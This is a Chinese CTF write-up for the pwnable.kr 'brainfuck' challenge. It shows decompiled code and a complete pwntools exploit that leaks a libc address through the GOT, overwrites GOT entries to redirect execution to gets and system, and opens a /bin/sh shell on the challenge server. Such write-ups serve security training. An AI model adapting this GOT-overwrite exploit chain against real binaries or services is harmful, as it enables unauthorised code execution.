pwnable.kr brainfuck writeup

ida分析文件,發(fā)現(xiàn)關(guān)鍵的函數(shù)是do_brainfuck

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  _BYTE *v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case 62:                                    // '>'
      result = p++ + 1;
      break;
    case 60:                                    // '<'
      result = p-- - 1;
      break;
    case 43:                                    // '+'
      result = p;
      ++*(_BYTE *)p;
      break;
    case 45:                                    // '-'
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:                                    // '.'
      result = putchar(*(_BYTE *)p);
      break;
    case 44:                                    // ','
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

在該函數(shù)中糖儡,可以對指針p進(jìn)行加減等操作伐坏,以及對指針p指向的位置進(jìn)行讀寫操作。
那么這樣思路就清晰了握联,我們可以通過p的位置計算出got表中putchar/memset等函數(shù)的位置桦沉,然后覆蓋掉

那么接下來就可以寫payload了

from pwn import *

libc = ELF('bf_libc.so')
p = remote('pwnable.kr', 9001)

#  下面的代碼定義了函數(shù)部分,這里利用do_brainfuck完成了指針移位拴疤、讀寫的操作永部。

def back(n):
    return '<'*n


def read(n):
    return '.>'*n


def write(n):
    return ',>'*n

# 這里從elf中獲取got表的地址

putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
ptr = 0x0804A0A0

# leak putchar_addr
payload = back(ptr - putchar_got) + '.' + read(4)
# overwrite putchar_got to main_addr
payload += back(4) + write(4)
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4)
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4)
# JUMP to main
payload += '.'

p.recvuntil('[ ]\n')
p.sendline(payload)
p.recv(1)  # junkcode

putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']

putchar = u32(p.recv(4))
log.success("putchar = " + hex(putchar))

gets = putchar - putchar_libc + gets_libc
log.success("gets = " + hex(gets))

system = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))

main = 0x08048671
log.success("main = " + hex(system))

p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))

p.sendline('//bin/sh\0')
p.interactive()

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市呐矾,隨后出現(xiàn)的幾起案子苔埋,更是在濱河造成了極大的恐慌,老刑警劉巖蜒犯,帶你破解...
    沈念sama閱讀 206,482評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件组橄,死亡現(xiàn)場離奇詭異,居然都是意外死亡罚随,警方通過查閱死者的電腦和手機(jī)玉工,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,377評論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來淘菩,“玉大人遵班,你說我怎么就攤上這事屠升。” “怎么了狭郑?”我有些...
    開封第一講書人閱讀 152,762評論 0 342
  • 文/不壞的土叔 我叫張陵腹暖,是天一觀的道長。 經(jīng)常有香客問我翰萨,道長脏答,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,273評論 1 279
  • 正文 為了忘掉前任亩鬼,我火速辦了婚禮殖告,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘雳锋。我一直安慰自己黄绩,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 64,289評論 5 373
  • 文/花漫 我一把揭開白布魄缚。 她就那樣靜靜地躺著宝与,像睡著了一般。 火紅的嫁衣襯著肌膚如雪冶匹。 梳的紋絲不亂的頭發(fā)上习劫,一...
    開封第一講書人閱讀 49,046評論 1 285
  • 那天,我揣著相機(jī)與錄音嚼隘,去河邊找鬼诽里。 笑死,一個胖子當(dāng)著我的面吹牛飞蛹,可吹牛的內(nèi)容都是我干的谤狡。 我是一名探鬼主播,決...
    沈念sama閱讀 38,351評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼卧檐,長吁一口氣:“原來是場噩夢啊……” “哼墓懂!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起霉囚,我...
    開封第一講書人閱讀 36,988評論 0 259
  • 序言:老撾萬榮一對情侶失蹤捕仔,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后盈罐,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體榜跌,經(jīng)...
    沈念sama閱讀 43,476評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,948評論 2 324
  • 正文 我和宋清朗相戀三年盅粪,在試婚紗的時候發(fā)現(xiàn)自己被綠了钓葫。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,064評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡票顾,死狀恐怖础浮,靈堂內(nèi)的尸體忽然破棺而出帆调,到底是詐尸還是另有隱情,我是刑警寧澤豆同,帶...
    沈念sama閱讀 33,712評論 4 323
  • 正文 年R本政府宣布贷帮,位于F島的核電站,受9級特大地震影響诱告,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜民晒,卻給世界環(huán)境...
    茶點故事閱讀 39,261評論 3 307
  • 文/蒙蒙 一精居、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧潜必,春花似錦靴姿、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,264評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至垂攘,卻和暖如春维雇,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背晒他。 一陣腳步聲響...
    開封第一講書人閱讀 31,486評論 1 262
  • 我被黑心中介騙來泰國打工吱型, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人陨仅。 一個月前我還...
    沈念sama閱讀 45,511評論 2 354
  • 正文 我出身青樓津滞,卻偏偏與公主長得像,于是被迫代替她去往敵國和親灼伤。 傳聞我的和親對象是個殘疾皇子触徐,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,802評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 一、溫故而知新 1. 內(nèi)存不夠怎么辦 內(nèi)存簡單分配策略的問題地址空間不隔離內(nèi)存使用效率低程序運行的地址不確定 關(guān)于...
    SeanCST閱讀 7,779評論 0 27
  • 史上最全的iOS面試題及答案 iOS面試小貼士———————————————回答好下面的足夠了----------...
    Style_偉閱讀 2,345評論 0 35
  • 史上最全的iOS面試題及答案 迷途的羔羊--專為路癡量身打造的品牌狐赡。史上最精準(zhǔn)的定位撞鹉。想迷路都難!閃電更新中......
    南虞閱讀 1,495評論 0 8
  • 前言 把《C++ Primer》[https://book.douban.com/subject/25708312...
    尤汐Yogy閱讀 9,506評論 1 51
  • 1. 綜述: 1.1 Cover和Hart在1968年提出了最初的鄰近算法1.2 分類(classificatio...
    無傷Lee閱讀 1,022評論 0 0